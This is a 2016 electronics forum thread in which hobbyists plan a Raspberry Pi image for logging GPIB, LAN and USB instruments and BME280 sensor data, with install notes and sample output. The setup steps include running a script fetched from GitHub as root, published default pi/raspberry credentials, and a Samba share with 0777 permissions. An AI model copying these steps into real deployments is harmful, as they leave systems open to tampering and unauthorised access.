Raspberry Pi2/3 logging platform for Voltnuts - Page 1
Forum section: electronics / general

author: plesa
author_rank: Frequent Contributor
timestamp: November 13, 2016, 11:08:18 am
content: Lot of members here needs to log data for various instruments.And because there is no commonly accepted platform I would like to start collecting inputs for preparation image for RPi2/3 for data-logging over GPIB/LXI and USB.Steps will be update on TiN website as well.https://xdevs.com/guide/ni_gpib_rpi/Soo will be there also RPi image which you will needs to restore on SD card.Please add in this thread what you would like to log and what instrument.Some of you have Prologix adapter which we can probably support with small modifications as well.For logging environment is used BME280 ( temperature. humidity, pressure) sensors are pretty cheap $5 and reasonably accurate.On RPi is running Apache as webserver and ProFTPd as FTP to access logs, of course SSH with screenWebpage on RPI contains live view of logged data with D3, from instrument and also data from BME280.

author: VK5RC
author_rank: Unknown
timestamp: November 13, 2016, 11:23:32 am
content: Hi Plesa,For my vote its is all HP-Ag-Ks GPIB equipment with either Prologix or HP 82357B. The later has some problems with clones abounding everywhere.NI also in the running.Thanks

author: TiN
author_rank: Super Contributor
timestamp: November 13, 2016, 11:28:37 am
content: plesaApache, noooo... How about nginx. I can help with setup.I suggest to set deadline date for inputs , so after you could focus on making all features for version 0.1.If you want I can provide mercurial repository for sources/build files, etc off my server (no size limits).I'd be happy with next feature set:* Latest Pi3 kernel 4.x.x + linux-gpib (Have both Pi1 and Pi3 here)* Python 2.7 as code platform* Support for NI GPIB-USB-HS (I can test this)* Support for Agilent GPIB pods and their clones (can test with clone)* Support for popular adapter like Prologix* Support HP 34401A/3446xA* Support HP 3458A (can test this)* Support Keithley 2000* Support Keithley 2001/2002 (can test this with both 2001 and 2002)* Support BME280 for environment monitoring using I2C* Function to upload CSV-data to remote FTP* SSH via dhcp-networkSupporting all GPIB equipment would be many years of work, so I'd leave that out. If somebody need support specific piece of gear, they can dig thru instruments manual and write own python code to support logging required data.For example I have Keithley 2510 TEC SMU, and use same app to log TEC power, temperature and current together with DMM samples, but I can't expect everyone to write support for it, just because I need itAfter few trial and errors it's not that hard for DIY.

author: TiN
author_rank: Super Contributor
timestamp: November 13, 2016, 11:34:09 am
content: If it's python, I can help to write support for Keithley 2001, 2002, 2400, 2510, 182, HP 3458, Wavetek 4920/4920M.

author: pmcouto
author_rank: Unknown
timestamp: November 13, 2016, 11:43:56 am
content: Hi Plesa,Thanks for your efforts.I would like to have support for data logging over LAN for Keithley DMM7510, Tek DMM4050/Fluke 8846A and Keysight 3446xA/34470A.

author: 2N3055
author_rank: Super Contributor
timestamp: November 13, 2016, 11:46:21 am
content: Plesa,thanks for sharing...For the moment I have Rigol DM3068 and RPi2.. It would be over Ethernet.I would like to help with that.P.S. Where did you guys get BME280 from?

author: pmcouto
author_rank: Unknown
timestamp: November 13, 2016, 11:55:00 am
content: BME280http://www.ebay.com/itm/272040804944?_trksid=p2060353.m2749.l2649&ssPageName=STRK%3AMEBIDX%3AIT

author: acbern
author_rank: Frequent Contributor
timestamp: November 13, 2016, 12:49:00 pm
content: Great idea overall!! If this is written in Python, would it not also run (or could it be written in siuch a way) that it runs on a PC?

author: TiN
author_rank: Super Contributor
timestamp: November 13, 2016, 01:28:09 pm
content: That's possible too, I used such way before with PyVISA , but quickly dropped the idea as having separate box, without tie to bulky PC is well worth those 35$ for Pi.

author: HighVoltage
author_rank: Super Contributor
timestamp: November 13, 2016, 01:48:04 pm
content: Right now I am using the Prologix and RF Scientific logging software on my 3458A and other Agilent gear.But I am very much interested in other options, especially RP.

author: ManateeMafia
author_rank: Frequent Contributor
timestamp: November 13, 2016, 02:53:02 pm
content: I have been working on a small side project with the BME280. It takes the code we are using from Adafruit one step further by making it a network service.Instead of calling it directly through the i2c interface, a server runs in the background and a client connects to it and gets the data. I have been using the server for some months now acting as a Fluke 1620A emulator. I have the real thing but it doesn't work very well and drops data intermittently.I just wrote a client module that can be imported into a python app. It only requires a couple lines of code. The server and client can also reside on the same RPi if needed. My plan is to have a RPi run 24/7 feeding data to my Windows program monitoring 10V references and I won't have to move it around when I collect data for xDevs on a second RPi.The code will be posted in a few days as I am waiting for a small case to show up that will also have a TFT display. I will be writing up an article in case anyone is interested in making one for their home lab. Plesa can also add it to the img file.

author: ManateeMafia
author_rank: Frequent Contributor
timestamp: November 13, 2016, 03:10:03 pm
content: Plesa,I have attached a couple of shell scripts I used to setup my RPi on wheezy. If you find any of it useful you can add it to your project. The rpi_gpib_installer.sh works well but it only lets you select either the Agilent or NI interfaces. It might not be difficult to change for a universal install.

author: wraper
author_rank: Unknown
timestamp: November 13, 2016, 03:18:50 pm
content: Keysight 34461A, Rigol DM3068 over LAN.

author: plesa
author_rank: Frequent Contributor
timestamp: November 14, 2016, 08:01:19 pm
content: Thanks for all inputs. Extra Kudos for TiN and ManateeMafiaBased on voting majority needs support 3458A, so lets start with this instrument.It is going to use latest Raspbian with Pixel, this is answer to TiN question related to kernel ( 4.4.26) and Python 2.7.9GPIB interface:NI GPIB-USB-HS - TiN, PlesaAgilent 82357B ( official) - we needs volunteer for testingAgilent 82357B ( clone) - I have dead clone onlyPrologix GPIB-USB v6.0 - we needs volunteer for testingAgilent E5810A - PlesaLAN:support for LAN is made byhttps://github.com/python-ivi/python-vxi11http://alexforencich.com/wiki/en/python-vxi11/startAlex Forencich ( member here) - author of python-vxi11 and also USBTMCInstruments (Support means script for dataloging)In first phase only 3458A,K2001,K2002Future phases 3441xA/34401A/3446xAEnviroment:2x BME280 connected to I2C - Python dataloging with Adafruit code to log file (csv) and ploting data on webpage on RPI (similar look like Fluke 1620A display - 2nd page of datasheet)http://download.flukecal.com/pub/literature/3397500_6200_ENG_B_W.PDF2 sensors as minimumBME280 sensors I used are thesehttps://www.sparkfun.com/products/13676Others posted above do not allow to set I2C address, there are similar on Ebay for $5/pcs.Data upload:Function to upload CSV-data to remote FTP. I will prefer to make data available on RPI FTP instead of active upload.Who needs this except TiN?SSH access is default.Apache2/NGINX - any preference except TiN?Now we needs to discuss how to process data. I checked options like KST ( stability ) and ended like TiN with D3.js. There is possibility to plot graphs by D3 on server side to reduce processing time on webpage, but I needs to investigate further. Dataplot of 10MB takes 20-30s.Currently I can imagine one page for data from 3458A ( timestamp, temperature, humidity,pressure) second page for environment log and third page as universal for generic instruments ( timestamp, value).Any suggestions how to visualize data?

author: mimmus78
author_rank: Unknown
timestamp: November 14, 2016, 10:30:45 pm
content: It whould be nice to have a web interface to setup measurement experiment/project.Inviato dal mio Nexus 6P utilizzando Tapatalk

author: mimmus78
author_rank: Unknown
timestamp: November 14, 2016, 10:34:49 pm
content: I don't know how D3 works, but I think it will be useful to have a file format that explains how to plot data and few "macro" to add things like stddev, convergence, ppm deviation between two measurements etc. If there is something like this, you can plot chart with one script.Inviato dal mio Nexus 6P utilizzando Tapatalk

author: lwatts666
author_rank: Unknown
timestamp: November 15, 2016, 03:50:32 am
content: The guys at sigrok.org have done a lot of work on unified cross platform drivers for various instruments and put it all under the GPL. You may be able to leverage some of their work. If nothing else, there is a lot info there.

author: t2kv
author_rank: Contributor
timestamp: November 15, 2016, 06:34:41 am
content: Keysight 34461A over either LAN or USB, please.

author: enut11
author_rank: Super Contributor
timestamp: November 15, 2016, 09:16:56 am
content: @plesaI have an HP3456A and Agilent HPIB to USB interface on the way. Also have RP3.enut11

author: guenthert
author_rank: Frequent Contributor
timestamp: November 16, 2016, 12:41:20 am
content: Hmmh, I'm generally in favor of strict separation of hard- and software, otherwise there will be unnecessary duplication of effort and fragmentation of community and knowledge.If you suggest Raspberry Pi, I suppose you're ok with using Linux. When the task is to access the GPIB using Linux, then the obvious choice would be to use the linux-gpib library (http://linux-gpib.sourceforge.net/), no? Well, that's what I'm using at least (with an old PCI GPIB interface -- I also have a USB GPIB interface, but that doesn't seem to work well with multiple devices or older HPIB gear).I would like to see more support for GPIB devices and perhaps on the high level ("presentation layer" if you will), like the web interface you suggest.

author: Nuno_pt
author_rank: Frequent Contributor
timestamp: November 16, 2016, 09:27:40 am
content: Morning all,I also have an 3456 on the way and a Agilent 82357B clone, 2xBME280 on the way, all to join the K2000 and the 3457.They are all connected via GPIB cables.I've 2xRPi2.So for me would be great in the 3456/7 could be add to the list.

author: mimmus78
author_rank: Unknown
timestamp: November 16, 2016, 03:51:51 pm
content: If I remember K2001 and K2002 have 3458A GPIB compatibility mode ... so supporting 3458A means also K2001 and K2002.Anyone used this compatibility mode up to now on Keithely? How it works?Anyway I think we must think at this as at least 3 software layer for just capturing the data:TOP LAYER: gather data and store on CSV or some file based databaseMIDDLE LAYER: implements instrument interfaceLOW LEVEL LAYER: write GPIB commands to the physical interface (for supporting specific hardware - Prologix, 82357B, GPIB ENET, etc)in this way we can implement how many LOW layer or instrument we wants without changing (too much) the other TOP layers.Than I imagine a simple web interface made by two main modules:interface for set "logging" tasks (this module speaks with TOP LAYER and configure the instrument for doing measurements), this interface show also the real time measured datainterface and module to elaborate the stored data gathered by TOP LAYER and to present them in the most appropriate way (charts, tables, etc)

author: klaus11
author_rank: Unknown
timestamp: November 16, 2016, 05:55:30 pm
content: K2001 does not play with 3458A

author: bingo600
author_rank: Super Contributor
timestamp: November 16, 2016, 08:38:32 pm
content: I have Raspi1 , and Raspi3I would prefer Apache (sorry TIN)Agilent 82357B ( clone) - I have one , working excellent , and a BeimingAgilent E5810A - I have one , but not used it yetEdit:Have ordered : 2x BME280/Bingo

author: lukier
author_rank: Unknown
timestamp: November 16, 2016, 10:14:32 pm
content: Quote from: bingo600 on November 16, 2016, 08:38:32 pmCare for a mini teardown? I was thinking about GPIB-LAN bridges recently, because I only have one USB-GPIB adapter (also a 82357B clone) and it's not as convenient as having access to all the instruments from the network. So I've came up with the idea to implement a linux-gpib to VXI bridge to emulate E5810B (could do that with a RPi and this clone USB adapter perhaps), but I need to do more research on that.While researching this I was looking at existing GPIB-LAN gateways, Keysight, ICS and also I've analyzed E5810B firmware a bit and it seems very clever as it uses TI's AM335X and the PRUSS cores to do the GPIB. I never saw the insides of this gateway so I don't know if PRUSS is bitbanging some GPIB interface chip (NAT9914 and the likes) or probably GPIB transceivers directly, which would be quite cool and fast. The kernel modules, especially the one responsible for talking to the PRUSS and GPIB is tagged with the GPL linker symbol, but I didn't find sources anywhere

author: Circuitous
author_rank: Unknown
timestamp: November 17, 2016, 03:24:41 am
content: I'm definitely interested in this project!I'm interested in LAN support for any of:34461A - Agilent34410A - AgilentDMM7510 - Keithley2450 SMU - KeithleyDM3068 - Rigol

author: bingo600
author_rank: Super Contributor
timestamp: November 19, 2016, 06:50:28 pm
content: Quote from: lukier on November 16, 2016, 10:14:32 pmI have an E5810A wo. USB , doubt there's a "Beagle" MCU in there.AFAIK HighVoltage have a B'/Bingo

author: plesa
author_rank: Frequent Contributor
timestamp: November 19, 2016, 08:05:41 pm
content: Quote from: lukier on November 16, 2016, 10:14:32 pmI suppose I already posted internal picture of E5810A, but it use the Power PC AMCC PPC405.Firmware seems to be made by ICS Electronichttp://www.icselect.com.And there is also one Xilinx Spartan, 83846 PHY and some Cypress for USB. If you wants picture of A version I can post within 2-3 weeks, when I will be back home:)The main board looks more like some platform, because on front are 3x 64 pin connectors to connect display and few leds on front panel.Quote from: mimmus78 on November 16, 2016, 03:51:51 pmK2001 do not have compatibility mode. It is only on K2001Quote from: Circuitous on November 17, 2016, 03:24:41 amBoth 34461A and 3441xA will be working. For Keithley/Rigol I do not have access to them, but based on how Python scripts are, you can add their support (logging) easily.Some old meters like 3457A I have in garage, so their support can be added later.Quote from: mimmus78 on November 14, 2016, 10:34:49 pmStatistic available in D3 is min,max,mean,median,deviation, ppm is calculated against defined reference value. But If you needs something more complex you can access log by Samba of FTP and work with data in Excel/Libre Office or other statistical program.In meantime I needs to define data separator ( comma, tab or semicolon) my preference is tab. So log files will be tsv and not csv. Any complains?Current status:Image for RPi 2/3 is ready ( ext4 replaced by F2FS)Support implemented and tested for: LAN instruments ( tested with 34411A), USB ( by USBTMC, tested with 34411A), GPIB (NI USB-GPIB-HS,E5810A)-big thanks to Alex Forecich ( member here)http://www.alexforencich.com/wiki/en/python-vxi11/starthttp://www.alexforencich.com/wiki/en/python-usbtmc/startModified Adafruid library to support two BME280 sensorsNow lets to discuss the D3 and plot part.A) I propose to have separate graph for Environment data ( both BME280 in one graph) .B) Measurement data in second graph with environment data from one sensor ( add plot for ppm).On chart are possible following functions:Zoom in/Zoom outDisplay values on mouse overAny ideas?BTW Thanks to VK5RC - He donated one 82357B clone for testing.Prologix has been ordered.I can upload current version of image (8GB SD card is minimum) or wait for Prologix. Anyone interested in current version?

author: lukier
author_rank: Unknown
timestamp: November 19, 2016, 08:28:43 pm
content: Quote from: plesa on November 19, 2016, 08:05:41 pmI suspected that Agilent might have rebranded some ICS stuff. Someone here did a teardown of ICS 8065, based on NAT7210 interface chip, driven by LH75411 ARM7TDMI.Thanks for the description, seems too like departure from NI interface chips (EOL I suppose), so probably the Spartan does the GPIB protocol details and just passes data back and forth with the PowerPC. Still not as clever and simple as driving the GPIB transceivers straight from the PRU coresAnyway, that's just curiosity, I don't want to dive deep into the GPIB details to be able to implement this in PRU. I'm leaning towards just a piece of software to translate VXI11 to linux-gpib calls so anyone with any supported GPIB adapter (NI, Agilent, Beiming, clones etc) and board of choice (RPi, BeagleBone etc) could set up a GPIB to LAN gateway.TI AM335X GPIB would be useful for those that don't have any GPIB adapters or slow ones (e.g. not NI HS variant), but requires much more and low level work.

author: plesa
author_rank: Frequent Contributor
timestamp: November 19, 2016, 09:04:33 pm
content: Quote from: lukier on November 19, 2016, 08:28:43 pmI also suppose that it is re-brand or some of their OEM product.NI seems to have also obsolescence problems and that why they made NI GPIB-USB-HS+, it can be interesting what is inside.It can be useful, but the amount of work seems to be big, maybe for someone like NighPanda who made Beiming adapter:)BTW I'm surprised how many people are using one adapter per instrument, after that is GPIB quite "expensive" interface.And GPIB cables are so cheap on eBay:)

author: lukier
author_rank: Unknown
timestamp: November 19, 2016, 09:29:08 pm
content: Quote from: plesa on November 19, 2016, 09:04:33 pmSeriously? Bus is in the nameI wouldn't call GPIB cables cheap (especially when compared to mass produced computer cables), but still much cheaper than even Agilent clones or Beiming.BTW For those looking for GPIB cables I can recommend this seller:http://www.ebay.co.uk/itm/400964594669Bought from them 4 last year and 4 pcs recently and these cables are of very good quality, solid metal connector. Much better than some GPIB cables I found in the dumpster once (insulation coming out of the connector, plastic connector shells etc).

author: Nuno_pt
author_rank: Frequent Contributor
timestamp: November 20, 2016, 10:19:40 pm
content: I've bought 10x 50cm HP GPIB cables for $30 to connect everything toghether.I already have the 53181 conhecer to the 3457, and the 3457 conhecer to the K2000.Next will be the K2000 conhecer to the 3456, then the 3456 conhecer to the PC with GPIB to USB HP clone.

author: TiN
author_rank: Super Contributor
timestamp: November 21, 2016, 04:09:25 am
content: plesaQuoteMy SD card in one of Pi1's died recently, so I'm surely can try new image now.One more suggestion - to have main linux partition located in the end of the image. So it could be easily expanded to larger SD cards. It's PITA to do so if there is other smaller partition in the end or swap in 8GB image, and you use it on 32GB card for exampleYea, my linux-magic not that great.

author: plesa
author_rank: Frequent Contributor
timestamp: November 21, 2016, 10:05:46 pm
content: Quote from: TiN on November 21, 2016, 04:09:25 amImage is being uploaded to xDevs FTPFile is called RPi_LogNut.7zI tried to minimize the image size, but there seems to be problem with F2FS ( but I have much better experience with F2FS than with Ext4 FS).Current image size after compression is 2.2GB. For image creation was used Win32DiskImager.On image is enabled Samba, so you can access/map /pub directory on your main computer.Following has been tested:Connection to LAN instrument ( example /pub/python/Test_LAN.py)Connection to USB instrument ( example /pub/python/Test_USB.py)Connection to GPIB instrument over NI adapter ( example /pub/python/Test_GPIB.py)Samba /pub ( read/write)BME280 logging ( /pub/python/BME280/BME_Logging_tsv.py)Following needs to be set:webserverD3 scripts for logging (I would like to make it universal - description of plot loaded from log file header)Test support for 82357B clone adapterTest Prologix GPIB-USB Controller 6.0Here are notes if someone want to update you own image:1. Download Raspbian image (RASPBIAN JESSIE WITH PIXEL) it will take a while 1.4GBhttps://www.raspberrypi.org/downloads/raspbian/2. For image installation followhttps://www.raspberrypi.org/documentation/installation/installing-images/README.mdsudo apt-get updatesudo apt-get upgradesudo apt-get install screen mc f2fs-tools i2c-tools samba samba-common-bin bc python-dev rpi-update tk-dev build-essential texinfo texi2html libcwidget-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtoolsudo rpi-updatesudo wgethttps://raw.githubusercontent.com/notro/rpi-source/master/rpi-source-O /usr/bin/rpi-source && sudo chmod +x /usr/bin/rpi-source && /usr/bin/rpi-source -q --tag-updatesudo rpi-sourcesudo rebootcd /optsudo svn checkouthttp://svn.code.sf.net/p/linux-gpib/code/trunk/linux-gpib/linux-gpibcd linux-gpibsudo ./bootstrapsudo ./configuresudo makesudo make installsudo svn checkouthttps://github.com/python-ivi/python-vxi11/trunkpython-vxi11cd python-vxi11sudo python setup.py installsudo svn checkouthttps://github.com/python-ivi/python-usbtmc/trunkpython-usbtmccd python-usbtmcsudo python setup.py installsudo pip install pyusb# Following part is test USB connectionimport usbtmcinstr = usbtmc.Instrument("USB::0x0957::0x0a07::INSTR")print(instr.ask("*IDN?"))# Agilent Technologies,34411A,MY480060XX,2.41-2.40-0.09-46-09Vice infohttps://github.com/python-ivi/python-usbtmc# I2Cenable i2C in raspi-configsudo raspi-config-7 Advanced Options - A7 I2C Enable/Disable automatic loading of I2C kernel module - YESreboot# Now detect the BME280 bysudo i2cdetect -y 1pi@raspberrypi:~ $ sudo i2cdetect -y 10 1 2 3 4 5 6 7 8 9 a b c d e f00: -- -- -- -- -- -- -- -- -- -- -- -- --10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --70: -- -- -- -- -- -- 76 77# Address 77 and 76 - BME280Install adafruit librarycd optsudo git clonehttps://github.com/adafruit/Adafruit_Python_GPIO.gitcd Adafruit_Python_GPIOsudo python setup.py installModication second module ( I2C address to 76 instead 77 )https://cdn.sparkfun.com/datasheets/Sensors/Weather/SparkFun_BME280_Breakout_v10.pdf# Samba configurationsudo smbpasswd -a pienter Samba password (raspberry)create /pub directorymkdir pubchown -R pi /pubsudo nano /etc/samba/smb.conf# add following to smb.confcomment= RPi pubpath=/pubbrowseable=Yeswriteable=Yesonly guest=nocreate mask=0777directory mask=0777public=no

author: bingo600
author_rank: Super Contributor
timestamp: November 22, 2016, 07:00:54 pm
content: @PlesaAny hints/picts for mounting the BME280's ?Do you have them on "cables" or what ?Is the image for a Raspi3 , or can it run on a Raspi1 (old 512MB) too ?Edit: Thanx for doing this PlesaOhh suggestion . NFS Client , to be able to log data to a remote NFS disk , will also reduce the wear on the SD card./Bingo

author: ManateeMafia
author_rank: Frequent Contributor
timestamp: November 22, 2016, 10:21:27 pm
content: @bingo600I have the Adafruit version of the BME280 breakout and I plan on putting mine inside of a Hammond 1551MFLBK enclosure. One of the holes of the pcb will be used to secure it to one of the internal standoffs.The enclosure is much larger but I like the fact I can use a zip tie to temporarily mount it where it is needed. I will have to drill some small holes near the sensor.I have found the board to be highly sensitive to air drafts and have been keeping mine wrapped in anti-static foam for a while now.

author: plesa
author_rank: Frequent Contributor
timestamp: November 22, 2016, 11:49:29 pm
content: 2x BME are hooked on I2C cable. One is packed with LTZ board inside polystyrene box.It is not secure by any screw.Nothing fancy I was in hurry to hook it up before leaving.Image should be transferable to RPi2 ( tested ) for RPi I propose to run sudo apt-get update && sudo apt-get upgrade && rpi-update && reboot.And after that I will be probably required to reinstall Linux-gpib according to notes above.The NFS client, is good idea. The main aim of making this image is to help to people with 3458A and other instrument to setup powerful logging tool.Currently we needs to more focus on interpreting the data (website for piloting basic scripts) rather than fine tunning image I think.Wear level of SD card is not big deal, the majority of failures I have in past was related to corrupted FS. That's why I changed default Ext4 to F2FS.

author: bingo600
author_rank: Super Contributor
timestamp: November 23, 2016, 02:54:09 pm
content: @ManateeMafia & PlesaThanx for the info.I'll see if i can get a Raspi 1 or 3 going this weekend , while waiting for the BME's from China/Bingo

author: guenthert
author_rank: Frequent Contributor
timestamp: November 24, 2016, 04:02:21 am
content: Quote from: plesa on November 22, 2016, 11:49:29 pmEr, Ext4 FS is pretty stable these days. What makes you think that the fs didn't fail because some blocks couldn't be written (or rather the controller *on the SD card* didn't write those blocks to the non-volatile storage medium, presumable because either power was cut or no free, still good block could be identified)?Stories aplenty of corrupted file systems among RPi users. Didn't happen to me yet and I have a few, one or two for a few years now, but i) I'm not in the habit of cutting power to them (you wouldn't do that to a Unix box, would you?) some are actually mostly on (uptime on my Internet radio is now 283 days) and ii) on most of them I'm using the Debian package 'flashhybrid', bypassing the flash-wear and sudden power loss issues.

author: bingo600
author_rank: Super Contributor
timestamp: November 25, 2016, 08:15:04 pm
content: I'm actually usingext4too , and have no problems on my RasPi's.I even have one with Kodi , that gets it's power cut when we leave the summerhouse.That one have been working for 1.5 years wo. probs/Bingo

author: guenthert
author_rank: Frequent Contributor
timestamp: November 27, 2016, 12:37:43 am
content: Quote from: guenthert on November 24, 2016, 04:02:21 amI jinxed it, it seems. I have now in my hands my first broken micro SD card. It happened while tinkering with one of my RPis -- I managed to misplace the 40pin header of a 'hat' by one pin.The RPi seems to have survived, but can't boot anymore. On a 2nd system, I can mount and read the fs, but there are block level errors when the host attempts to write (including writing the dirty bit of the fs). Update: some blocks, including some which shouldn't have been modified in months, can't even be read.Ext4 is a traditional Unix file system, designed for rotating storage media, with little provisions protecting from hardware (block level) failures (the boot block is copied a few times, but that's about it). Hardware failures are assumed to be handled on the block layer (RAID or similar).A fs designed with the specific properties of the medium might be of advantage. Not sure, how F2FS suggested above would fare in the event of a SD controller failure.I think running an OS of an SD card is a rather questionable proposition. I'd be more at ease, having the host boot from such a card, populating a RAM disk with the OS and then running from there (like many embedded systems operate). Debian/Raspbian might be too fat to fit into the RAM of a RPi. I meant for a while already to have a look how well OpenWRT runs on a RPi ...

author: bingo600
author_rank: Super Contributor
timestamp: November 27, 2016, 07:23:16 am
content: Addon to the Vnut PlatformHere's Mark Simms annotated HP3458A calram readout , built on a RasPiv3 with a "fresh Jessie" , and linux-gpib 4.03Rename the file extension to tar.gz , wasn't allowed as an upload extensionI haven't tested this one on my 58' yet , but it's build as the one i uploaded previously , that was used by TiN/Bingo

author: TiN
author_rank: Super Contributor
timestamp: November 27, 2016, 09:51:45 am
content: I'd expect this ready to go image concept presented in thread to be more targeted for beginners and non-software folks who just want plug it in, write image and run the "log the data, now" app.Btw, one problem I have with RPi and NI USB-GPIB-HS is random crashed when running long time (hours). I used wheezy and jessie images from raspi site, different kernels, latest and one before that linux-gpib, RPI 1 and RPI 3 boards and various SanDisk SD cards. After crash gpib_config can't talk to dongle anymore, even thou it shows ok in lsusb. Reboot doesn't help , only dongle powercycle does.Same NI dongle however works happily logging simultaneous data from 3x2001, 2x2002, 3458 over more than 70 hours now, running same python snake app on DE1SoC board with Trusty LTS 14.04 linux.

author: bingo600
author_rank: Super Contributor
timestamp: November 27, 2016, 05:12:32 pm
content: Quote from: TiN on November 27, 2016, 09:51:45 amI don't agree 100%A common platform would be nice for ie. your DMM noiselogger measurements.Quote from: TiN on November 27, 2016, 09:51:45 amHave you tried with a powered USB hub ?I think it could be power related.Quote from: TiN on November 27, 2016, 09:51:45 amDoes that one deliver more/better power ?/Bingo

author: plesa
author_rank: Frequent Contributor
timestamp: November 27, 2016, 11:07:01 pm
content: Image v2 is ready. Just needs to solve issue with ftp upload.Image is runnning on RPi2/RPi3.´, based on Raspbian Jessie image with latest kernel 4.4.37.Extra Kudos for TiN for space on xDev storagehttps://xdevs.com/doc/_Images_RPI-DL/And also lot of inspiration in his Python scripts and idea with D3js.On image is running samba where you can find all python scripts, log files and website sources.Just to map network drive with RPi address.Scripts can be executes over ssh ( user pi, password raspberry) same for samba.On website you can find few basic pages with D3 plots.Tested is USB,LAN, USB-RS232, GPIB (NI-GPIB-HS).Soon will be added support for Agilent 82357B adapter/clone - thanks to VK5RC for donating clone.Also Prologix is on it way. Support will be added in next release, probably will be used wrapperhttps://github.com/hgrecco/pyvisa/issues/112Some interfaces like USB requires root privileges, so use sudo.Script for logging mainly set intruments for logging on 10V or 20V range - for LTZ boards logging.BME280 sensors has it own page for log data.Script for logging with 3458A also run ACAL every 1°C or 24h and log the DCV gain data.Here are examples# Keyspan USA-19hs serial adapterpi@raspberrypi:/pub/python $ python Test_RS232_USB.pyKEITHLEY INSTRUMENTS INC.,MODEL 6517B,1234567,A13/700xpi@raspberrypi:/pub/python $ python Test_LAN.pyAgilent Technologies,34411A,MY12345678,2.41-2.40-0.09-46-09pi@raspberrypi:/pub/python $ sudo python Test_USB.pyAgilent Technologies,34411A,MY12345678,2.41-2.40-0.09-46-09pi@raspberrypi:/pub/python $ sudo python Test_GPIB.pyKEITHLEY INSTRUMENTS INC.,MODEL 2001M,1234567,B17 /A02pi@raspberrypi:/pub/python $ sudo python 3458A_Log.pyTemperature or time difference since last ACAL is higher than set treshold 1.0 C / 86400 sSince start ACAL performed 0 timesPerforming ACAL DCV, it will takes 3 minutes10V Gain DCV = 0.993364009Internal Temperature = 32.527/11/2016 18:15:07 1 x ACAL 7.16507735 -1.258 ppm 32.5 C27/11/2016 18:15:15 1 x ACAL 7.16507738 -1.254 ppm 32.5 C27/11/2016 18:15:23 1 x ACAL 7.16507724 -1.272 ppm 32.5 C27/11/2016 18:15:31 1 x ACAL 7.16507726 -1.270 ppm 32.5 C27/11/2016 18:15:39 1 x ACAL 7.16507726 -1.270 ppm 32.5 Cpi@raspberrypi:/pub/python $ python BME_Log.py27/11/2016 16:47:35 Temperature: 20.90 C 17.23 C Pressure: 98680 Pa 98875 Pa Relative Humidity: 49.7 61.627/11/2016 16:47:45 Temperature: 20.90 C 17.23 C Pressure: 98680 Pa 98875 Pa Relative Humidity: 49.7 61.627/11/2016 16:47:55 Temperature: 20.90 C 17.23 C Pressure: 98680 Pa 98875 Pa Relative Humidity: 49.7 61.6pi@raspberrypi:/pub/python $ sudo python 34410A_Log.pyAgilent Technologies,34410A,MY12345678,2.41-2.40-0.09-46-0927/11/2016 17:06:55 7.16734802 0.6 ppm27/11/2016 17:06:57 7.16734637 0.4 ppm27/11/2016 17:06:59 7.16734833 0.7 ppm27/11/2016 17:07:01 7.16734792 0.6 ppm27/11/2016 17:07:03 7.16734937 0.8 ppm27/11/2016 17:07:05 7.16734989 0.9 ppm27/11/2016 17:07:07 7.16734974 0.9 ppm27/11/2016 17:07:09 7.16734902 0.8 ppm27/11/2016 17:07:11 7.16734973 0.9 ppmpi@raspberrypi:/pub/python $ sudo python K2001_Log.pyKEITHLEY INSTRUMENTS INC.,MODEL 2001M,1234567,B17 /A0227/11/2016 19:26:08 -0.79064850 -1110349.2 ppm27/11/2016 19:26:09 -0.79909820 -1111528.5 ppm27/11/2016 19:26:09 -0.80731830 -1112675.7 ppm27/11/2016 19:26:10 -0.81536700 -1113799.1 ppm

author: TiN
author_rank: Super Contributor
timestamp: November 28, 2016, 01:48:44 am
content: QuoteMore meant - can do both, DIY stuff for advanceds, but also have easy functions for beginner workE.g. when linux-gpib was a new thing few years ago - fiddling with dozen of packages, kernel headers, firmware uploads enough to scare even brave *nix beginnerQuoteYes, even tried powering +5V to dongle directly to pod from 3A PSU, same thing.RPI board just forwards same +5V from input. Dongle takes ~400mA peak.This issue is bit offtopic here, but I brought it up so we make sure images are ok for long term runs.

author: plesa
author_rank: Frequent Contributor
timestamp: November 28, 2016, 02:06:40 am
content: I hope this image will help beginners to start with python and also with D3js for plotting. Histogram for noise measurement is also easy in D3. We just needs time to make scripts from scratch or convert EZGPIB ones.TiN do you have all GPIB cables connected to instruments?Image is herehttps://xdevs.com/doc/_Images_RPI-DL/RPi_LogNut_v2.zip

author: TiN
author_rank: Super Contributor
timestamp: November 28, 2016, 06:17:22 am
content: Maybe worth to make two level app? First level for function logic, etc datalogger or noise tester or custom modes such as delta measurement using current source and voltmeter for resistance measurement, similar to Kei 6220+2182.Second layer would be for hardware support, eg SCPI commands to talk actual instruments.It will take a bit more work, but will be easier to add support for specific instruments later.I always have 3458, 2002s connected on GPIB, and add other instruments as needed.

author: HighVoltage
author_rank: Super Contributor
timestamp: November 28, 2016, 10:02:54 am
content: What a great thread.OK, I am ready to get my first Raspberry Pi.But which one should I get to get best results ?Thanks.

author: plesa
author_rank: Frequent Contributor
timestamp: November 28, 2016, 05:46:01 pm
content: Quote from: HighVoltage on November 28, 2016, 10:02:54 amRPi2 or RPi3. RPi3 is faster and has integrated WiFI/BT. Price is almost the same. Image is working on both, we are not using x64 mode available on RPi3.Do not forget to buy also enclosure. As SD card is 8GB minimum, I'm using several Samsung SD ( Pro/EVO+) cards without problems.RPi official power adapter is OK, but during logging I used output of E3631A PSU ( 5V for RPi, and 15V for LTZ).I do not have Prologix yet, so it is not working, but will be added soon. Currently is working on NI USB-HS and E5810 GPIB interface.82357B will be added soon as well.

author: bingo600
author_rank: Super Contributor
timestamp: November 28, 2016, 06:47:23 pm
